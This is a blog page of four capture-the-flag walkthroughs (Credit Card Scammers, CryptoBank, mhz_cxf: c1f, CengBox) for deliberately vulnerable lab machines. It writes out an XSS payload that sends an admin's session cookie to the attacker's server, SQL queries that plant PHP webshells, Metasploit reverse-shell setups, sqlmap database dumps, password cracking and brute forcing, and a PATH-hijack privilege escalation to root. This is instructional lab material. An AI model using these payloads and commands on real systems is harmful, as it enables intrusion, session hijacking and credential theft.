CTF's My CTF Walkthroughs Walkthroughs

Credit Card Scammers – CTF Walkthrough

Upon request, I have produced a write up of my own CTF (Credit Card Scammers). The approach documented in this write up is the way I intended when designing the CTF; it will be interesting to know if anyone has taken different approaches and found extra unintended vulnerabilities that I didn’t initially consider.

Anyway, I hope you find this helpful. Please let me know if you have any comments or feedback.

The back story to this CTF: Scammers have started setting up fake PPE shops in response to the COVID19 crisis. The objective is to hack into the server of the scammers and take down their operation.

Scan – NMAP

As with all CTF’s, the first thing I do is check for any open ports.

nmap -p- --max-rtt-timeout 50ms

For those that have read my other walkthroughs, you may notice the additional parameter here (max-rtt-timeout). On this CTF, the port scan will be very slow without this parameter as the firewall is set to discard packets, rather than reject and return them. Where packets are discarded rather than rejected, nmap assumes the server never received the packet in the first place and spends a short while resending the packets to scan for various ports. This parameter simply sets a maximum time it should wait for. 50ms is more than enough time in this instance, as the Virtual Machine is hosted locally. The port scan identifies a few open ports:

Website Analysis

We can see port 80 is open (the web server), so it’s usually helpful to start here. When we visit the website, we see a website setup by the scammers selling various items of PPE:

When we look around the website, we can see the option to buy each of the different products:

If we click the ‘Buy Now’ link, we get sent to an order form where we are able to order these products:

As this is my own CTF, I know what vulnerability exists on this page (XSS). But if you come across something similar, you may want to check for SQL Injections. You can see an SQL Vulnerability test in my walkthrough of the CengBox CTF.

XSS Exploitation

A lot of people have contacted me regarding XSS vulnerabilities. I intentionally put an XSS vulnerability in this CTF as they’re not very common in CTF exercises that you find online, despite it being a very common vulnerability in practice. A few people have contacted me for help with this vulnerability; they have advised me that they have tried putting test JavaScript code into fields on that page to try and prove the vulnerability, such as the following:

<script>alert('Hello world')</script>

Some users who contacted me said they were then expecting to see a JavaScript alert popup in their browser. This will not work unfortunately, as it assumes the code input on this page will then be executed on this page too. In this scenario, this is not the case. Unlike other vulnerabilities, the only time in which XSS vulnerabilities are going to become useful, is if you can get other users to execute the malicious JavaScript code, rather than yourself. You can read more about XSS Vulnerabilities here.

As this is a product order form, we can assume that a human user is going to review the orders that users submit, potentially in a private administration/billing area or similar. Obviously, a human user reviewing orders isn’t possible with CTF exercises, so I’ve simulated it instead by having a robot login to an admin area, constantly reviewiwing the orders which are submitted on this order form. The objective is to steal the administrators session cookie, which we can then use to authenticate to a more privileged area.

If we presume this, then we can put specific JavaScript into one of the fields on the order form to achieve this. Before we do this though, we need to setup a web server on our Kali machine. You can use Apache, or NGINX to do this, but you may find it easier to use Python:

sudo python -m SimpleHTTPServer 80

Once this is done, we need to put JavaScript into one of the fields on the order form. It doesn’t matter which one.

<script>document.write('<img src="'+document.cookie+'" width=0 height=0 border=0 />');</script>

We then need to wait up to a minute for an administrator to review the orders that have come in. When this happens, you’ll notice some activity on the Python web server you setup.

As you can see, the JavaScript code we put into the order form has now been executed on the administrators computer, who attempted to review the orders in the admin panel. We can see a PHP Session ID in the console which we can now use to login as an administrator. From the website, there’s no obvious place we can login, so we’ll need to search for it if you haven’t already done so. We can do this using DIRB.


DIRB is a useful tool that can scan for common directories on a server. You can change which wordlist you use, but for this exercise, the default common wordlist is sufficient.

From the DIRB output, we can see a directory located at /_admin. If we visit that in our browser, we see a directory listing:

If we click on ‘dist’, we can see a login for what appears to be an administration area:

You can test this for SQL Injection vulnerabilities if you wish, but this login page isn’t vulnerable to SQL injection. Now that we have the admin session ID, we can use this to hijack their session and log straight in.

There are a few ways to do this. I find using Burp Suite is a fairly easy method. Burp Suite is a proxy server which allows you to intercept traffic before it reaches its destination. If we route our local traffic through it, we can intercept the login request, and insert our PHP session cookie in the request before it reaches the admin panel.

Load up Burp Suite, and head to the proxy tab. We need to make sure ‘Intercept’ is set to on as shown in the screenshot.

Once its on, we need to configure our browser proxy settings to route all of our browser traffic through the Burp proxy. By default, Burp Suite listens on port 8080, so you’ll need to set your proxy settings to point to localhost, and port 8080. In Firefox, it looks like this:

Once this is done, head back to the login form, and click Login. You don’t need to specify a username or password. When you do this, you should notice the request come up in Burp:

Once you see the request come up in Burp, you will need to add a line to the ‘Raw’ section to include the hijacked PHP session ID of the administrator.

Cookie: PHPSESSID=kjpt555ngl6kiqhl5anovhblo0

You will need to replace the session ID above, with the session ID you hijacked. It should look like this:

Once we have done this, we then need to click ‘Forward’, and our request will be sent to the web server with hijacked PHP session ID injected into the request. If we’ve done this correctly, we now have access to the administration panel:

Please be aware that each link or page you visit in this admin panel will require you to repeat the steps of inserting the PHP session ID. You may be able to use an alternative method to Burp (such as creating a session cookie locally on your computer so you don’t have to keep changing the request. Take a look at some addons for your browser which make help you do this).

In the administration panel, we can see all of the orders that people have placed along with their personal details and credit card information. You will notice a link in the sidebar called ‘Database Admin’ – this looks interesting.

It looks like we can execute SQL commands from here. I wouldn’t really refer to this as an SQL injection attack as the page is designed to run SQL queries, so you’re not really ‘injecting’ any SQL into a query. There are a few tools that may help with this (such as sqlmap), but we can try a few things manually.

Let’s try guessing a few table names. If we click ‘Execute’ after inputting this query, then nothing is returned. It could be that this page is not designed for retrieving data, but instead may be used for updating/deleting data. If we take a look at the sentence on the page, it says it’s used for deleting or archiving data. It may not be programmed to display any data back.

There’s a method in SQL which allows us to output data into a file on the file system of the web server. This may not be enabled in all circumstances – it depends how the administrator has setup the account privileges for the SQL user. Let’s give this a go:

SELECT '<?php phpinfo(); ?>' INTO OUTFILE '/var/www/html/phpinfo.php'

We know that /var/www/html is the default file path for most web servers, specifically Apache which is commonly used. The above code attempts to write PHP code (<?php phpinfo(); ?>) into a file called phpinfo.php. After we click execute, we can visit this file in our browser to test if its worked:

Yes. It looks like it is vulnerable to this type of attack. We can utilise this attack vector to get a shell. Metasploit and Meterpreter is useful for this.

sudo msfconsole
use exploit/multi/script/web_delivery
set target PHP
set payload php/meterpreter/reverse_tcp
set LHOST (this should be your Kali IP address)
set SRVPORT 8081 (this step is optional, but is required if you are running Burp on port 8080)

This will give you a PHP reverse shell.

As we can see, it has given us a PHP command. We won’t need the entire command in this instance, but we’ll need everything that appears between the double quotes.

On the ‘Database Admin’ page, we need to input a query as follows:

SELECT "<?php eval(file_get_contents('', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]]))); ?>" INTO OUTFILE '/var/www/html/shell.php'

Once done, you can visit the shell.php file on the web server. You may notice however that this doesn’t work. In real life scenarios, you may come across firewalls. Port 8081 is not a common outbound port so the server is unlikely to allow traffic to this port. Let’s repeat the metasploit steps, but instead try more common ports (such as port 80, 443, or 53). These are common ports used for web and DNS servers so are likely to be open. I’ve set my LPORT to port 53, and my SRVPORT to 443.

SELECT "<?php eval(file_get_contents('', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]]))); ?>" INTO OUTFILE '/var/www/html/shell2.php'

Once you have put this into a new shell file, visit shell2.php, and you should see the metasploit session open:

When the session is open, enter the session with the following command:

sessions -i sessionnumber

Replace ‘sessionnumber’ with the number of the session displayed in metasploit (see above screenshot for example).

Once you’ve entered the session, run these commands to get an interactive shell:

python2.7 -c 'import pty; pty.spawn("/bin/bash")'

You may wonder how how we know which Python version is installed on the server. You can check this with the following command:

whereis python

As we can see, there are a few Python versions installed, so I’ve just picked one at random. Once we have a shell, we can run the whoami command to see which user we are:

We can see we are now logged in as the ‘apache’ user, which makes sense (given we’ve loaded the shell through the webserver). The next step is to identify how we can escalate our privileges.

The first few things I check is whether we can run anything using the Sudo command. The Sudo command allows us to run a command with the privileges as another user (by default, as the root user).

You can check this with this command:

sudo -l

This command should list everything we can run using sudo. In this instance though, we can’t run anything with sudo. We are prompted for a password (which we don’t know), so we are unable to identify what we can run:

Let’s have a look around in case we can see anything interesting. In /var/www, we can see the first flag:

If we go into the /home directory, we can see a home directory for a user called moneygrabber. We can’t seem to access their folder though:

Perhaps the moneygrabber also has access to the admin panel, and we can extract their password from the database? If we go back to the /var/www/html directory, we can see the credentials used to access the database:

cd /var/www/html/
cd settings
cat config.php

As this is my own CTF, I know precisely where this configuration file is. In other circumstances, you’d need to enumerate the server and gather all the information you can find. in order to find this.

We now have access to the database credentials, so we can use the MySQL command to extract the information from the database.

mysql -u orders -p

Once you’re logged in, run these commands:

use orders;
show tables;

As we can see, there are two tables (orders, and users). The one we can look at is users. Let’s try and extract everything from the users table:

SELECT * FROM users;

It looks like the moneygrabber user (albeit formatted slightly differently is included in the users table). We have their password, but we can see it is hashed. We will need to try and unhash it.

This is a bcrypt hash for those of you who didn’t know – it’s a fairly secure hash at the moment and isn’t easy to crack. That being said, if the hash is a really common password, then we can use tools to check whether a common password was used. John The Ripper is a good tool for this, and comes installed in Kali.

john -format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt money

If you don’t have a GPU, then this may take a while. An alternative method could be to use a tool like Hydra (to brute force the admin panel login at /_admin/dist). Now we know the username to be m0n3y6r4bb3r, we can brute force the admin panel to identify the password, rather than use a hash cracker. Either of these two methods will work. (By the way, I ran this on a laptop without a graphics card, and it took about 5 minutes – you might not need to wait too long).

John The Ripper has identified the password to be delta1. Let’s try pivoting to this user using the su (switch user) command.

su moneygrabber

It looks like we’re in. Let’s go to this users home directory:

cd /home/moneygrabber
cat flag2.txt

Looks like we’ve got the second flag. Interestingly, there seems to be another file called

This file looks like it runs a tar command that backs up the MySQL directory. It may be worth seeing if this file has the SUID bit set:

find / -perm -u=s -type f 2>/dev/null

This command identifies binaries with the SUID bit set. If a binary has the SUID bit set, it allows us to run the binary under the privilege of the user who owns the binary, instead of the user who runs it.

It doesn’t look like this backup script is listed, but interestingly, we can see /usr/bin/backup. Let’s see what this does.

cd /usr/bin
strings backup

The strings command basically prints the printable characters within a file. When we run it on the backup binary, we can see a lot of output, but interestingly, we can see that it calls the script we saw:

What we have is a binary (/usr/bin/backup) that runs as a privileged user once executed, that seems to call the /home/moneygrabber/ script. Perhaps we can get root privileges this way?

If we refer back to the /home/moneygrabber/ file, we can see it runs the tar command. We can also see it doesn’t explicitly specify the path that the tar command is located in. Linux has a lot of environment variables – one of the variables that is set by default specifies where binaries are typically located (such as /usr/bin/ or /usr/sbin etc). If a script runs a command, but doesn’t explicitly specify the path where the binary is located, then the system will refer to the PATH environment variable to see which folders to look in to run the command. In this instance, as the tar command doesn’t have the path set in, the system looks in /usr/bin etc to try and find it, so it can be executed.

We can abuse this by changing the PATH environment variable, so when the script is executed, it looks in a directory of our choosing for the tar binary, and runs our own script, rather than the true tar binary. As the /usr/bin/backup binary has the SUID bit set, we can get it to run a binary of our choosing, located in a directory of our choosing, with elevated privileges.

We can check the current value of the PATH environment variable with the following command:

echo $PATH

As we can see, there’s a few directories here. We can change it with the following command:

export PATH=/tmp

This will overwrite the PATH environment variable with /tmp, so when any binary is run without the explicit path specified, it will look in the /tmp directory for the binary to execute. The next step is to create our own binary (called tar), to elevate our permissions:

/usr/bin/cd /tmp
/usr/bin/echo "/bin/bash" > tar
/usr/bin/chmod +x tar

When we run /usr/bin/backup, it calls /home/moneygrabber/, which runs the tar command. As the tar command doesn’t have the path explicitly set, the system looks as the PATH environment variable to see where the tar command will be located. We’ve overwritten the PATH environment variable, so the system will look in /tmp for any binaries. We’ve created our own binary called ‘tar’ in the /tmp directory which loads a bash shell. As /usr/bin/backup runs as a privileged user, we end up with an elevated shell.

We now have a root shell. To find the root flag, we can run the final set of commands:

/usr/bin/cat /root/flag3.txt
/usr/bin/cat /root/flag3.txt

By the way, you’ll notice that because we’ve changed the environment variable, you have to explicitly specify the location of every other binary before we can run them (cd, ls etc). This is necessary as we’ve overwritten the PATH variable completely. It is possible to have multiple directories in the PATH variable, and each one is checked in order – if we do it this way, we wouldn’t need to explicitly set each path on the other commands we run, assuming we put /tmp first. Feel free to have a quick Google if you want to know how to do this.

I hope you found this write up useful! Please let me know your feedback or if you have any questions.

CTF's Walkthroughs

CryptoBank – CTF Walkthrough

Realistic CTF exercises are definitely amongst my favourites. This CTF simulates a bank holding cryptocurrency. According to the description, the objective is to hack the CryptoBank and reach their cold Bitcoin wallet. Let’s give this a go.

Scan – NMAP

I loaded NMAP to perform a scan for any open ports on the server.

nmap -p-

This revealed two open ports. SSH (22), and a Web Server (80). Let’s have a look at the website.

Reviewing the website

The website had a button on it in the top right of the page, which looked interesting (Secure Login). Having clicked it, it returned an error that it couldn’t be loaded. It looks like it is trying to visit http://cryptobank.local/trade

I modified my /etc/hosts file to point this domain to the CTF IP and was then able to load the page.

As this is a login page, let’s check for SQL Injection vulnerabilities. I find the easiest way to do this is using Burpsuite, and sqlmap. Burpsuite is a proxy server that can intercept your traffic before it reaches its destination. I do this so I can save the HTTP request information into a text file which can then be fed into sqlmap.

SQL Injection

After loading Burpsuite, I clicked on the Proxy tab, and ensured the Intercept setting was set to ‘On’. Once I confirmed this, I configured the proxy settings in my browser to go through Burpsuite (by default, it runs on port 8080).

I clicked ‘Login’ on the CryptoBank login page, and watched the request come into Burpsuite.

You can right click the request in Burpsuite, and click “Copy to file”. Once the request information was saved in a file, I opened up the terminal, navigated to the folder which contained the request file I just created, and ran sqlmap.

sqlmap -r Crypto

This confirmed the ‘User’ field was indeed injectable. I changed my command slightly so I could see the contents of the database.

sqlmap -r Crypto --dump

This took quite a while, as it was exploiting an SQL time-based vulnerability.

As we can see from the output, there are three tables:

  • accounts
  • comments
  • loans

As the attack was taking a very long time, I decided to halt the attack and limit it to just the ‘accounts’ table.

sqlmap -r Crypto --dump -T accounts

I recommend going to make a coffee at this point, as this takes a very long time.

2 coffees and an episode of Silicon Valley later, I finally had the list of usernames and passwords. I took one of the usernames, and logged into the website.

Reviewing the Trading Platform

There were a few sections here I looked at. I couldn’t really find anything obviously available to exploit though, so I decided to test for more SQL Injections. On the ‘Apply A Loan’ page was a search field. I decided to give this one a test.

sqlmap returned there were no fields vulnerable here. I proceeded to move onto ‘Money Transfer’.

Whilst I was able to transfer all of the money from this users account it also revealed no SQL vulnerabilities. This isn’t ideal.

I had a further look around, and when browsing the loan page, I noticed you could click onto each of the loans and there was a GET parameter in the URL. I decided to check for SQL injection vulnerabilities here instead.

Great! It looks like this is vulnerable to UNION SQL Injections. This is good news as it means we can extract the database contents a little bit lot quicker. As there wasn’t anything else of interest in the money portal, I decided that this could likely be the attack vector and decided to extract all the databases I possibly could using sqlmap. Perhaps, if we can get the SQL database credentials, we can try them against the SSH service that we know is open from the port scan.

Exploiting the second SQL Injection

sqlmap -r Crypto3 --dump-all

I let this command run, and it exported a lot of the databases and tables. Eventually, it started exporting something using a time-based SQL attack again, so I cancelled it at this point and reviewed what was saved in my sqlmap folder.

We can see the MySQL table has been downloaded. I decided to have a look at user.csv to see the MySQL users. This revealed the user ‘cryptobank’ and revealed the hashed authentication string.

My laptop really isn’t built for hash cracking (or anything, really) – so I loaded up my Desktop PC which has a GPU, and loaded hashcat. There’s a good list called CrackStation which contains a metric ton (1,493,677,782) of passwords. If you add a rule set, it increases even more.

hashcat "4331797E9768FC8E1344EA425E00DD4462E4720A" -r C:\Users\*****\hashcat-5.1.0\rules\d3ad0ne.rule C:\Users\*****\downloads\realuniq.lst -m 300 -O -w 3

Whilst my Graphics Card was sweating away trying to crack the hash against 14, 336 954, 443 820 possible password combinations, I decided to run DIRB on the website. Normally, I would do this first, but given I found an SQL Injection straight away I hadn’t got around to doing it yet.

dirb http://cryptobank.local

This revealed a few more directories I hadn’t yet discovered.

/info.php was a PHP info file, which may come in handy.
/development required password authentication. Perhaps this is where we need to put the username/password in once it’s cracked. That being said, we do have a list of usernames and passwords from the website. I suppose there’s no harm checking these whilst we wait.

hydra -L users.txt -P passwords.txt cryptobank.local http-get /development

Unfortunately, this returned no valid login results. I took another look at the web page as I recall there being staff listed there.

If we hover over the e-mail icons, it looks like it links to their profiles. They all return 404 results, but they look like they’re in the format of usernames (julius.b etc). Julius, being the developer, seems to be the one who would most likely accesses /development, but I added all of their usernames into the username list, just in case.

I re-ran the Hydra command. Result! We have a username and password. Do we even need the hash to be cracked now?

Reviewing the development area

Visiting the development area looks a bit like a dead end. Let’s run DIRB on it to see if there are any hidden directories.

dirb http://julius.b:wJWm4CgV26@cryptobank.local/development

This revealed quite a few more directories. /backups just seemed to contain a copy of the main website. /tools however seemed to contain something a lot more interesting.

I had a look around these tools. ‘Execute a command’ required another username and password which I just didn’t have, ‘Upload a file’ seemed to only accept image files (at least without trying to hack it anyway). ‘View a system file’ seemed more interesting though.

I played around with the file GET parameter in the URL. It seemed to mitigate getting anything like /etc/passwd by showing a security error – I decided to see if RFI would work instead.

Remote File Inclusion

sudo msfconsole
use multi/script/web_delivery
set target PHP
set payload php/meterpreter/reverse_tcp

After running this in msfconsole, I was given some PHP code. I only needed the URL from it though, so I copied this into the file GET parameter, and finally had a shell.

sessions -i 1
python -c 'import pty; pty.spawn("/bin/bash")'

Once I visited the URL, meterpreter advised a session had opened. I entered the session by typing sessions -i 1, loaded a shell, and then used the python command to get /bin/bash

This returned an error saying python wasn’t found. This isn’t uncommon. You can locate it with the whereis command.

whereis python
python3.6 -c 'import pty; pty.spawn("/bin/bash")'

After locating the python binary with the whereis command, I adjusted my command slightly and had an interactive shell.

Privilege Escalation

The first two things I normally do when getting a shell is checking what binaries I can run as root (with Sudo), and checking if there are any binaries with the SUID bit set. I initially checked for SUID binaries:

find / -perm -u=s -type f 2>/dev/null

This didn’t reveal anything obviously exploitable.

I then checked for commands I could run with Sudo:

sudo -l

This just prompted me for my password (which I didn’t have), so it doesn’t look like the attack vector is either of these two things.

I had a look around various directories, and spotted flag.txt in /home/cryptobank. First flag obtained!

After searching various files and folders, I checked for any internal services running on different network ports:

netstat -tulnp

This revealed a few IP’s – seems interesting. I suspect it’s a docker instance running something.

I closed my shell, and went back to the meterpreter console. I then mapped the subnet that IP address was on, using the command below:

run autoroute -s

Once done, I ran the portfwd command to forward traffic from a port on my local machine to port 8983 we saw with the netstat command:

portfwd add -l 81 -p 8983 -r

I then loaded my web browser, and visited http://localhost:81.

After seeing an installation of ‘Solr’, I searched msfconsole for an exploit. In the meterpreter session, I typed ‘background’ to put my session to the back. This put my session back to msfconsole. I then searched for a Solr vulnerability:

search solr

This showed an exploit we may be able to use.

use 0
show options
set RHOSTS localost
set RPORT 81
set SRVPORT 8082 (this command may not be necessary for you if port 8080 is available).
set LPORT 4441 (this command may also not be necessary).

This exploit worked, and I was logged in as the solr user:

I ran the Sudo command to check what I could run as Sudo. Fortunately, it appeared I could run all commands, and quickly had root. Or so I thought! Initially, when I looked at the output of Sudo -l, it looked like I could run everything without a password. It looks though that the Sudo permissions work from the bottom up, rather than top down. So this wasn’t possible unless I provided a password. A few guesses later, and I had root by putting in the password as solr.

This CTF is definitely amongst my favourites. A lot of effort was put into it to make it feel more realistic. If you found this writeup helpful, please feel free to leave me a comment.

CTF's Walkthroughs

mhz_cxf: c1f – CTF Walkthrough

I’ve been waiting for some new CTF’s to be published on VulnHub, but in the meantime, I decided to have a crack at mhz_cxf: c1f, published on the 24th April. This CTF is marked as ‘a piece of cake’, so I don’t expect any challenges here.

I’ve also recently installed BackBox Linux, as an alternative to Kali, so figured an easy CTF would be good to try it out.

If you are new to CTF exercises, perhaps this is a good one to get started? As this is rated as ‘Easy’, I’ll probably go into a bit more detail than normal, assuming you’re new to all of this.

The first thing to do is establish the IP address of the vulnerable machine. To do this, I scan the subnet using NMAP.

nmap -sP

This identified the CTF as having as its IP address.

After getting the IP address, we can use NMAP to identify any open ports:

nmap -p-

You may find a few variations of how people run this command. The parameters/flags I’ve specified here make the scan a lot more broad and identify ports in unusual ranges.

This identified two open ports. SSH (Port 22), and a Web Server (Port 80).

Usually, if there’s a web server, that’s probably the best place to look initially. I fired up Firefox, and loaded the website.

This page is just the default page for an Apache installation on Ubuntu, so it doesn’t look like there’s anything on this website yet. Not on the front page at least, anyway.

There’s a handy tool called DIRB which can scan a website for common directories. I loaded up a terminal, and ran the DIRB tool:


This didn’t reveal anything new/useful. By default, DIRB uses a ‘common’ wordlists, but you can change this so it uses a bigger wordlist:

dirb /usr/share/dirb/wordlists/big.txt

As I’m using BackBox Linux (rather than Kali), this is the location of the wordlists for DIRB. If I remember correctly though, it’s in the same location for Kali Linux, but you may need to adjust the path slightly if not.

The new wordlist was equally as useless though.

You can also get DIRB to append file extensions to the words from the wordlist. That’s probably necessary here (I hope so at least! This is marked as ‘Easy’). Let’s try .html, .php, .phtml, and .txt.

dirb /usr/share/dirb/wordlists/big.txt -X .php,.phtml,.txt,.html

This found a file that may be of use! notes.txt – I put this into Firefox, and here is what I saw:

Let’s have a look at remb.txt, and remb2.txt.


remb2.txt has already been deleted, by the looks of it.

The contents of the first file looks like it may be a username/password combination. We know that this server has the SSH service running, so I loaded up my terminal, and connected to SSH.

ssh first_stage@

After putting in the password, I connected and authenticated successfully.

When we have a shell, the next step is to work out how to elevate our privileges.

First, it’s useful to find out what commands we can run using the Sudo tool. Sudo is a utility that allows a user to run a command with the security context of another user (by default, the root user). You can identify which commands the current logged in user is allowed to run with Sudo by running the following command:

sudo -l

This prompted me for a password, but in this instance, we know what the user password is, so I put this in and ran the command.

I received a message back advising the current user wasn’t allowed to run a command using Sudo. It looks like we’ll need to find another way.

Another thing we can check for is binaries which have the SUID bit set. If a binary has the SUID bit set, its effective UID becomes the owner of the file, opposed to the user who is running it. Sometimes, we can abuse this.

find / -perm -u=s -type f 2>/dev/null

Naturally, there is going to be a lot of binaries listed here. So we need to look for things out of the ordinary. Identifying binaries that look out of the ordinary will come with experience. Out of this list, nothing catches my eye. I also searched for files with 0777 file permissions. Files with 777 permissions can be modified by anybody – this is sometimes helpful if we know a scheduled job being run by the root user is executing a file as we’d be able to modify that file and change what that user was executing.

find / -type f -perm 0777

This again though didn’t reveal anything of interest. I decided to have a look around the shell instead to see what I had access to.

I probably should have listed the contents of the directory I was in earlier, but oh well. I listed the directory contents, and saw a file ‘user.txt’ – when I ran the cat command on it, I was able to see the contents. Nothing useful here but worth mentioning nonetheless.

I navigated to the /etc directory and looked at the passwd file. In Linux, the passwd file contains a list of all the usernames on the server.

cd /etc
cat passwd

It looks like there is another user here ‘mhz_c1f’ – we may need to try and login as this user at some point before escalating our privileges to root.

I decided to see if I could access the users home folder.

cd /home
cd mhz_c1f
cd Paintings

Looks like we are able to access their home folder, and there are some image files inside! I’ve recently done another CTF called DeathStar which involved a form of steganography. Steganography is a way to conceal data, text, or an image inside another file, such as an image. Perhaps there are some hidden messages in these files.

I went to my local BackBox terminal (outside of the SSH session), and used SCP to download these images to my local machine.

scp -r first_stage@ .

Once the files were on my local machine, I used the steghide tool to identify if there was any steganography involved here.

steghide extract -sf filename.jpeg
This didn’t seem to work on this image. Let’s try another.
Here we go.

This extracted a file called remb2.txt! Let’s have a look at the contents.

Here we go. This looks like another username/password. Let’s try changing to this user in our SSH session.

su mhz_c1f

It worked! Let’s repeat the SUDO, SUID, and 0777 checks now that we’re logged in as a different user (see above). I initially repeated the SUDO check.

sudo -l

That’s it. This shows we can run “all” commands using SUDO. I can this command, and I was suddenly the root user:

sudo su -

I suppose this CTF is different, in the sense it isn’t a simulated/realistic hacking exercise, but is instead designed to take you through the different methods you might find useful in future (port scanning, using tools such as DIRB, steganography, and privilege escalation using sudo). I hope you found this walk-through useful.

CTF's Walkthroughs

CengBox – CTF Walkthrough

This post provides the steps on how to compromise the CTF CengBox.

Initial Analysis

Scan – NMAP

As always, I start off by doing an NMAP scan of the IP address to see what ports are open.

nmap -p-

This revealed two open ports. SSH and HTTP.

Checking out the website

I decided to have a look at the website initially.

The website didn’t really have anything immediately obvious that I could exploit. There were no login pages, and there were no forms I could submit. At this point, I decided to run the DIRB tool to identify common directories.

Scan – DIRB


Surprisingly, this didn’t reveal anything of use. Any directories returned were either normal/non-suspicious, or were providing a 403 HTTP error.

DIRB has functionality which allows you to change the wordlist. Upon visiting /usr/share/dirb/wordlists, it revealed a number of other wordlists which may be of use, primarily big.txt.

Scan – DIRB (Extended word list)

I re-ran the DIRB command, but specified the big.txt file as the wordlist parameter.

dirb /usr/share/dirb/wordlists/big.txt

Result. This showed something that definitely looked a lot more interesting.

Unfortunately, the directory, and all sub directories DIRB found were returning 403 errors. But, we are definitely onto something here. There must be something we are missing.

As I found out, DIRB also has a feature where you can specify file extensions to be appended to the end of the search terms. Given this is an Ubuntu server (as identified from the error code screenshot above), this is most likely running PHP. I re-ran the DIRB command, but specified the PHP file extension, and restricted the search to the masteradmin directory.

Scan – DIRB (Specifying file extension)

dirb /usr/share/wordlists/big.txt -X .php

This revealed a few more files of interest.

I initially tried ‘upload.php’ but it redirected me to login.php straight away. db.php was also returning no output.

Testing for SQL Injection vulnerabilities

I suspected an SQL injection vulnerability at this point. A useful way to test for SQL Injection vulnerabilities is to use a tool called Burpsuite, and sqlmap.

Burpsuite is a very useful tool that acts as a proxy server. Once you have loaded a Burpsuite session, you change the proxy settings of your browser to point to Burpsuite, and you’re then able to intercept your own traffic before it reaches the destination.

I loaded up Burpsuite, went to the proxy tab, and made sure that ‘Intercept’ was set to on.

Having then configured my web browser to point to Burpsuite, I attempted to login on the website with a random username/password.

As you can see, the request came up in Burpsuite straight away. With Burpsuite, you can export the request information into a text file by right clicking the request, and clicking copy to file.

Once the request information was in a text file, I used the sqlmap tool to check for SQL injection vulnerabilities.

sqlmap -r cengbox.txt

This revealed an SQL injection vulnerability with the username field!

Now that an SQL vulnerability was confirmed, I changed the command slightly to dump the contents of the database into a local directory.

sqlmap --dump -r cengbox.txt

This took a long time to run! It looked like this is exploiting some sort of time-based comparison.

Eventually, once it finished, it showed me a table on the database containing the admin username/password.

To my surprise, the password wasn’t hashed, and I was able to log straight in.

Once logged in, it looks like I have the ability to upload files.

I spent a while trying to upload various files and couldn’t work out why they weren’t uploading (or where they were uploading). Turns out my laptop screen is simply terrible and I couldn’t see the error message at the top of the page, advising the file extension wasn’t accepted. Note to self: buy a new laptop.

After uploading a file with the .ceng extension, it worked fine, and I managed to find my file in the uploads directory.

Uploading a shell

It looks like .ceng files execute PHP. Having confirmed this with my phpinfo file, I then tried to upload an exploit.

Metasploit is my favourite tool here to do this.

sudo msfconsole
use exploit/multi/script/web_delivery
set target 1
show payloads
set payload php/meterpreter/reverse_tcp

Once run, it gives you a PHP command to run.

I extracted the eval() command and put it in a PHP file, and uploaded via the masteradmin interface. I visited the file in my browser, and then entered my meterpreter session.

sessions -i

This shows you the valid sessions. Once I saw the session number was 1, I ran this:

sessions -i 1

A few commands later, and I have my first foot in the door, and have my shell.

Root privilege escalation

The next step is to try and escalate privileges to a more privileged user (root).

One of the first things I usually do when I have a shell is check for binaries which have the SUID bit set. Binaries which have the SUID bit set execute the program as the user who owns the file, opposed to the user who is running it. This is a very common attack vector.

Checking for SUID Binaries

find / -perm -u=s -type f 2>/dev/null

A useful resource I often refer to is GTFOBins. This lists which binaries can be exploited if you can run them as sudo, or they have the SUID bit set. Unfortunately, it wasn’t of use on this occassion, but I thought I’d mention it anyway as it is a very useful resource if you haven’t heard of it before. It may help you in future.

The only binary that catches my eye here is /usr/bin/at. A quick google later, and it showed it can schedule commands to be run at a later time. I tried running this command:

How annoying! I can’t use it. It may come in handy though, so worth baring in mind.

I went to the /home directory, and found a user called cengbox. I tried the same password used to login to the admin panel to get to this user on shell (and it worked).

First flag

What now?

There is a useful tool called pspy. It can show scheduled cron jobs, even ones from other users. I used wget to get pspy onto the machine and then I executed it.

That’s an interesting script (/opt/ Let us check it out.

Looking at the file permissions, it looks like we can write to it! It looks like the root user may be running this file on a cronjob so we should be able to exploit this.

I fired up metasploit again and a meterpreter session. This time though I set the payload as python, instead of PHP.

Within a minute or two, the cron job executed, and I had a root shell.

I really enjoyed this CTF. Thanks to CyberBot for a hint or two along the way! The CengBox CTF is available here.